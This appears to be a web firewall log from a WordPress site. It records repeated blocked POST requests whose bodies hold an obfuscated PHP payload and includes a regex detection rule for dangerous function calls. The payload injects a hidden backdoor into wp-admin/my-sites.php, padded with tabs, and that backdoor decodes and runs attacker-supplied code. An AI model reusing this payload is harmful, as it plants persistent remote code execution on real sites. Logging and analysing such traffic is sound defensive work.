aS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/my-sites.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524res%2529%2520as%2520%2524char%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252021%2529%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524flag%2520%253D%25200%252C%2520%2524mrk%2520%253D%2520count%2528%2524element%2529%253B%2520%2524flag%2520%253C%2520%2524mrk%253B%2520%2524flag%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524element%255B%2524flag%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524elem%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524bind%2520%253D%2520sprintf%2528%2522%2525s\/.rec%2522%252C%2520%2524elem%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524bind%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524bind%253B%2520unlink%2528%2524bind%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncontent-length:3952\nsec-ch-ua-mobile:?0\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLIZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\naS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/my-sites.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524res%2529%2520as%2520%2524char%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252021%2529%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524flag%2520%253D%25200%252C%2520%2524mrk%2520%253D%2520count%2528%2524element%2529%253B%2520%2524flag%2520%253C%2520%2524mrk%253B%2520%2524flag%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524element%255B%2524flag%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524elem%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524bind%2520%253D%2520sprintf%2528%2522%2525s\/.rec%2522%252C%2520%2524elem%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524bind%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524bind%253B%2520unlink%2528%2524bind%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:25","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/my-sites.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524res%2529%2520as%2520%2524char%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252021%2529%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524flag%2520%253D%25200%252C%2520%2524mrk%2520%253D%2520count%2528%2524element%2529%253B%2520%2524flag%2520%253C%2520%2524mrk%253B%2520%2524flag%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524element%255B%2524flag%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524elem%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524bind%2520%253D%2520sprintf%2528%2522%2525s\/.rec%2522%252C%2520%2524elem%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524bind%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524bind%253B%2520unlink%2528%2524bind%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncontent-length:3952\nsec-ch-ua-mobile:?0\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp3NvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nsp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/my-sites.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524res%2529%2520as%2520%2524char%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252021%2529%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524flag%2520%253D%25200%252C%2520%2524mrk%2520%253D%2520count%2528%2524element%2529%253B%2520%2524flag%2520%253C%2520%2524mrk%253B%2520%2524flag%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524element%255B%2524flag%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524elem%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524bind%2520%253D%2520sprintf%2528%2522%2525s\/.rec%2522%252C%2520%2524elem%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524bind%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524bind%253B%2520unlink%2528%2524bind%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:27","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/my-sites.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524res%2529%2520as%2520%2524char%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252021%2529%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524flag%2520%253D%25200%252C%2520%2524mrk%2520%253D%2520count%2528%2524element%2529%253B%2520%2524flag%2520%253C%2520%2524mrk%253B%2520%2524flag%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524element%255B%2524flag%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524elem%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524bind%2520%253D%2520sprintf%2528%2522%2525s\/.rec%2522%252C%2520%2524elem%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524bind%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524bind%253B%2520unlink%2528%2524bind%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-length:3975\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-site:none\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/my-sites.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524res%2529%2520as%2520%2524char%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252021%2529%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524flag%2520%253D%25200%252C%2520%2524mrk%2520%253D%2520count%2528%2524element%2529%253B%2520%2524flag%2520%253C%2520%2524mrk%253B%2520%2524flag%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524element%255B%2524flag%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524elem%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524bind%2520%253D%2520sprintf%2528%2522%2525s\/.rec%2522%252C%2520%2524elem%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524bind%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524bind%253B%2520unlink%2528%2524bind%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:50:30","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/my-sites.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524res%2529%2520as%2520%2524char%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252021%2529%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524flag%2520%253D%25200%252C%2520%2524mrk%2520%253D%2520count%2528%2524element%2529%253B%2520%2524flag%2520%253C%2520%2524mrk%253B%2520%2524flag%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524element%255B%2524flag%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524elem%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524bind%2520%253D%2520sprintf%2528%2522%2525s\/.rec%2522%252C%2520%2524elem%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524bind%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524bind%253B%2520unlink%2528%2524bind%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; 